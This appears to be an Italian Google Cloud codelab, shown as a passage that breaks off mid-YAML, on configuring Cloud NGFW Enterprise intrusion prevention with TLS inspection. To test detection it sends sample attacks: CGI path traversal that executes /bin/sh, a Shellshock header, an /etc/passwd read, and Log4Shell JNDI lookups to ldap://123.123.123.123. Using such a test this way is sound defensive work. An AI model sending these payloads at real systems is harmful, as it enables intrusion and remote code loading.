Codelab aziendale NGFW su Cloud [con ispezione TLS]

1. Introduzione

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall è un servizio firewall completamente distribuito con funzionalità di protezione avanzate, microsegmentazione e copertura pervasiva per proteggere i tuoi workload Google Cloud da attacchi interni ed esterni.

Cloud NGFW offre i seguenti vantaggi:

  • Servizio firewall distribuito: Cloud NGFW fornisce un'applicazione stateful e completamente distribuita basata sull'host su ogni workload per abilitare l'architettura di sicurezza Zero Trust.
  • Configurazione e deployment semplificati: Cloud NGFW implementa criteri firewall di rete e gerarchici che possono essere collegati a un nodo della gerarchia delle risorse. Questi criteri forniscono un'esperienza firewall coerente nella gerarchia delle risorse Google Cloud.
  • Controllo granulare e microsegmentazione: la combinazione di policy firewall e tag regolati da Identity and Access Management (IAM) fornisce un controllo preciso per il traffico nord-sud ed est-ovest fino a una singola VM, tra reti Virtual Private Cloud (VPC) e organizzazioni.

Cloud NGFW è disponibile nei seguenti livelli:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise aggiunge il servizio di prevenzione delle intrusioni (IPS), una funzionalità di livello 7, al tessuto distribuito di Google Cloud Firewall. L'ispezione TLS è supportata per consentire l'ispezione del traffico criptato TLS.

Ora puoi eseguire deployment di ispezioni affidabili di firewall di nuova generazione (NGFW) di livello 7 con controlli granulari, senza apportare modifiche all'architettura di rete o alle configurazioni di routing.

Per attivare e implementare il controllo del firewall di livello 7 con IPS, devi svolgere le seguenti attività:

  • Crea un insieme di endpoint firewall di zona gestiti da Google Cloud.
  • (Facoltativo) Crea una policy di ispezione TLS.
  • (Facoltativo) Crea una configurazione dell'attendibilità.
  • Associa questi endpoint alle reti Virtual Private Cloud (VPC) in cui hai bisogno del servizio Cloud NGFW Enterprise.
  • Apporta semplici modifiche alle policy firewall e alle regole firewall esistenti per specificare i profili di prevenzione delle minacce per i vari percorsi del traffico.

Policy del firewall di rete

La policy firewall di rete funge da contenitore per le regole firewall. Le regole definite in una policy firewall di rete non vengono applicate da nessuna parte finché la policy non viene associata a una rete VPC. A ogni rete VPC può essere associato un criterio firewall di rete. Le policy firewall di rete supportano i tag gestiti da IAM (o semplicemente tag) nelle regole firewall, che sostituiscono i tag di rete attuali e possono essere utilizzati per fornire un'identità al workload.

La condivisione di un criterio firewall di rete tra più reti e l'integrazione con i tag gestiti da IAM semplificano notevolmente la configurazione e la gestione dei firewall.

Con l'introduzione del criterio firewall di rete, i criteri firewall di Google Cloud ora sono costituiti dai seguenti componenti:

  1. Policy firewall gerarchica
  2. Regole firewall VPC
  3. Policy firewall di rete ( globale e regionale)

I criteri firewall gerarchici sono supportati nei nodi dell'organizzazione e delle cartelle all'interno della gerarchia delle risorse, mentre le regole firewall VPC e i criteri firewall di rete vengono applicati a livello di VPC. Una grande differenza tra le regole firewall VPC e le policy firewall di rete è che le regole firewall VPC possono essere applicate solo a una singola rete VPC, mentre le policy firewall di rete possono essere associate a un singolo VPC o a un gruppo di VPC, tra gli altri vantaggi come gli aggiornamenti batch.

Infine, abbiamo anche le regole firewall implicite incluse in ogni rete VPC:

  • Una regola in uscita la cui azione è consentita e la cui destinazione è 0.0.0.0/0.
  • Una regola di traffico in entrata la cui azione è deny, la cui origine è 0.0.0.0/0

Per impostazione predefinita, la sequenza di applicazione è mostrata nel seguente diagramma:

21b3bcabc469ffe.png

Tieni presente che l'ordine di applicazione tra le regole firewall VPC e i criteri firewall di rete globali può essere invertito. I clienti possono specificare l'ordine di applicazione in qualsiasi momento con un comando gcloud.

Tag

I nuovi tag integrati nelle regole dei criteri firewall di rete sono risorse di coppie chiave-valore definite a livello di organizzazione o progetto della gerarchia di risorse Google Cloud. Un tag di questo tipo contiene controlli dell'accesso IAM che specificano chi può fare cosa sul tag. Le autorizzazioni Identity and Access Management (IAM), ad esempio, consentono di specificare quali entità possono assegnare valori ai tag e quali entità possono collegare i tag alle risorse. Se una regola firewall di rete fa riferimento a un tag, deve essere applicata a una risorsa per l'applicazione.

I tag rispettano il modello di risorse di ereditarietà di Google Cloud, il che significa che i tag e i relativi valori vengono trasmessi nella gerarchia dagli elementi padre. Di conseguenza, i tag possono essere creati in un'unica posizione e poi utilizzati da altre cartelle e progetti in tutta la gerarchia delle risorse. Visita questa pagina per informazioni dettagliate su tag e limitazioni di accesso.

I tag non devono essere confusi con i tag di rete. Questi ultimi sono stringhe che possono essere aggiunte alle istanze Compute Engine; sono associate all'istanza e scompaiono quando l'istanza viene ritirata. Le regole firewall VPC possono includere tag di rete, ma poiché non sono considerate risorse cloud, non sono soggette al controllo dell'accesso IAM.

Tieni presente che in questo documento i tag e i tag gestiti da IAM vengono utilizzati in modo intercambiabile.

Cosa creerai

Questo codelab richiede un singolo progetto e la possibilità di creare una rete VPC, nonché di gestire una serie di risorse di rete e di sicurezza. Mostrerà in che modo Cloud NGFW Enterprise può fornire funzionalità IPS:

  • Ispezione dei flussi internet in uscita con l'ispezione TLS
  • Ispezione dei flussi intra-VPC [est-ovest] con l'ispezione TLS

I flussi da ispezionare verranno selezionati utilizzando i parametri di corrispondenza di Cloud Firewall, tra cui 5 tuple (IP di origine, IP di destinazione, protocollo, porta di origine, porta di destinazione) e tag.

3d0f288d3b92a295.png

Lo stato finale del rulebase del criterio firewall di rete sarà simile alla tabella seguente:

Priorità

Direzione

Target

Origine

Destinazione

Azione

Tipo

100

In entrata

Server_Tag

Controlli di integrità

Qualsiasi

Consenti

Essentials

200

In entrata

Client_Tag, Server_Tag

IAP

Qualsiasi

Consenti

Essentials

800

In entrata

Server_Tag

10.0.0.0/24

10.0.0.0/24

Ispezione L7

Enterprise

850

In uscita

Client_Tag

Qualsiasi

10.0.0.0/24

Consenti

Essentials

900

In uscita

Client_Tag

Qualsiasi

Qualsiasi

Ispezione L7

Enterprise

Cosa imparerai a fare

  • Come creare una policy firewall di rete.
  • Come creare e utilizzare i tag con la policy firewall di rete.
  • Come configurare e utilizzare Cloud NGFW Enterprise con l'ispezione TLS.

Che cosa ti serve

  • Progetto Google Cloud.
  • Conoscenza del deployment delle istanze e della configurazione dei componenti di rete.
  • Conoscenza della configurazione del firewall VPC.

2. Prima di iniziare

Creare/aggiornare le variabili

Questo codelab utilizza le variabili $per facilitare l'implementazione della configurazione gcloud in Cloud Shell.

In Cloud Shell, esegui i comandi riportati di seguito sostituendo le informazioni tra parentesi in base alle esigenze:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Abilita API

Se non l'hai ancora fatto, abilita le API:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creazione dell'endpoint Cloud NGFW Enterprise

Poiché la creazione dell'endpoint Cloud NGFW Enterprise richiede circa 20 minuti, verrà creato per primo e la configurazione di base può essere eseguita in parallelo durante la creazione dell'endpoint.

Crea il profilo di sicurezza e il gruppo di profili di sicurezza:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Output previsto:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Verifica che le risorse siano state create correttamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crea l'endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Esegui il comando riportato di seguito per verificare che l'endpoint sia in fase di creazione (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

(Facoltativo) Esegui il comando riportato di seguito per ottenere maggiori dettagli:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Il processo di creazione richiede circa 20 minuti. Vai alla sezione Configurazione di base per creare le risorse richieste in parallelo.

5. Configurazione di base

Rete VPC e subnet

Rete VPC e subnet

Crea la rete VPC e la subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea il router Cloud e il gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Istanze

Crea le istanze client e del server web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tag a livello di progetto

Assegna l'autorizzazione tagAdmin all'utente se necessario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crea la chiave e i valori del tag a livello di progetto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Collega i tag alle istanze:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Policy del firewall di rete globale

Crea una policy del firewall di rete globale:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crea le regole Cloud Firewall Essential richieste per consentire il traffico dagli intervalli health-check e identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crea le regole Cloud Firewall richieste per consentire il traffico in entrata est-ovest/intra-subnet dagli intervalli specifici (queste regole verranno aggiornate per abilitare Cloud NGFW Enterprise con ispezione TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associa i criteri firewall cloud alla rete VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Associazione degli endpoint firewall cloud

Definisci le variabili di ambiente se non l'hai ancora fatto e/o se preferisci l'approccio basato sugli script.

Verifica che la creazione dell'endpoint firewall cloud sia stata completata correttamente. Procedi solo quando lo stato è ATTIVO (durante la creazione, lo stato previsto è IN FASE DI CREAZIONE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

(Facoltativo) Esegui il comando riportato di seguito per ottenere maggiori dettagli:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Associa l'endpoint Cloud Firewall alla rete VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

La procedura di associazione richiede circa 10 minuti. Procedi alla sezione TLS solo quando lo stato è ATTIVO (durante la creazione, lo stato previsto è IN FASE DI CREAZIONE):

gcloud network-security firewall-endpoint-associations list

Output previsto al termine:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

(Facoltativo) Esegui il comando riportato di seguito per ottenere maggiori dettagli:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output previsto:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configurare le risorse TLS

Crea un pool di CA. Questa risorsa verrà utilizzata per ospitare il certificato CA principale che generiamo per NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crea la CA radice. Questo è il certificato CA che verrà utilizzato per firmare certificati aggiuntivi per le richieste tramite NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Se viene visualizzato il messaggio riportato di seguito, rispondi y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Crea un account di servizio. Questo service account verrà utilizzato per richiedere certificati per NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Imposta le autorizzazioni IAM per il service account:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crea il file YAML della policy TLS. Questo file conterrà informazioni sulle risorse specifiche:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importa la policy di ispezione TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Aggiorna l'associazione endpoint per abilitare TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Ottieni il certificato CA e aggiungilo all'archivio CA del client:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Trasferisci il certificato CA al client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Esegui SSH sulla VM, sposta il certificato CA in /usr/local/share/ca-certificates e aggiorna l'archivio CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Esci e torna a Cloud Shell.

Procedura di firma del certificato server:

In Cloud Shell, installa la libreria Pyca cryptography utilizzando il comando pip:

pip install --user "cryptography>=2.2.0"

Per consentire a Google Cloud SDK di utilizzare la libreria di crittografia Pyca, devi abilitare i pacchetti del sito.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crea il certificato server:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Verranno generati i file cert.pem e key.pem in Cloud Shell. A questo punto, trasferisci il certificato e la chiave al server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Accedi al server tramite SSH per aggiornare i dettagli del certificato per Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Sposta il certificato e la chiave in una cartella specifica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Aggiorna la configurazione SSL per utilizzare il certificato firmato:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Riavvia Apache:

sudo systemctl restart apache2

Verifica lo stato di Apache:

sudo systemctl status apache2

Deve essere attivo (in esecuzione).

Esci dalla VM e continua su Cloud Shell.

8. Convalida della connettività in uscita e est-ovest

Esegui i comandi riportati di seguito in Cloud Shell e annota gli IP di destinazione da utilizzare:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Apri una nuova scheda e avvia una connessione SSH alla VM client tramite IAP (dovrai definire le variabili nella nuova scheda):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Esegui i comandi riportati di seguito e annota gli IP di destinazione da utilizzare. Crea le variabili sostituendo i valori tra parentesi con gli IP annotati nel passaggio precedente e assicurati che siano raggiungibili:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Esegui il comando curl sull'IP privato e assicurati che sia raggiungibile:

curl https://$target_privateip --max-time 2

Risultati previsti per la richiesta curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Invia attacchi di esempio all'IP. Il server web deve rispondere a tutte le richieste, confermando che non è in atto alcuna ispezione/prevenzione L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Risultati attesi di esempio (IP privato):

400
404
400
200
200

Allo stesso modo, invia richieste a una destinazione internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Esempio di risultati attesi (destinazione internet):

400
404
400
403
403

Esci dal terminale della VM e torna a Cloud Shell.

9. Crea e aggiorna le regole firewall per l'ispezione TLS

In precedenza, abbiamo configurato una regola firewall per consentire il traffico in entrata al nostro server dalla subnet interna. Ora aggiorneremo le regole in entrata esistenti e imposteremo l'azione su apply_security_profile_group. In questo modo, verrà abilitata l'ispezione L7 E/W con TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crea una nuova regola per ispezionare l'ispezione L7 in direzione nord con TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crea una nuova regola per consentire l'EGRESS per E/W per evitare la doppia ispezione.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Convalida dell'ispezione TLS in uscita

Torna alla scheda della VM client o connettiti di nuovo:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Invia gli attacchi di esempio a una destinazione internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Non vengono ricevute risposte in base all'output previsto di seguito, il che conferma che gli attacchi di esempio vengono ora bloccati:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Imposta la variabile sull'IP del server precedente:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Invia richieste TLS di esempio al server:

curl https://$target_privateip --max-time 2

Output previsto:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Perché questa richiesta non è andata a buon fine? Questo perché il firewall riceve un certificato dal server per il quale non esiste alcuna attendibilità. In questo caso, verrà restituito un certificato autofirmato al client. Per attivare l'attendibilità, dobbiamo aggiungere il certificato CA nell'ambito di una configurazione dell'attendibilità.

Torna a Cloud Shell.

11. Configura la configurazione dell'attendibilità

Ottieni il certificato CA radice e impostalo come variabile con la formattazione corretta.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configura il file YAML di configurazione dell'attendibilità. Questo file contiene dettagli di attendibilità, ad esempio i certificati CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

I comandi precedenti includevano il certificato CA radice come parte dell'archivio attendibilità, poiché il certificato del server è stato firmato utilizzando la CA radice. Ciò significa che il firewall considererà attendibili tutti i certificati ricevuti firmati dalla CA radice, oltre alle CA pubbliche se il criterio TLS ha excludePublicCaSet impostato su false.

Controlla i contenuti della configurazione dell'attendibilità.

cat trust_config.yaml

Output di esempio:

Presta particolare attenzione all'allineamento del rientro del certificato. Deve seguire esattamente questo formato.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importa la configurazione dell'attendibilità:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Aggiorna il file YAML della policy TLS in modo da includere la configurazione di attendibilità:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
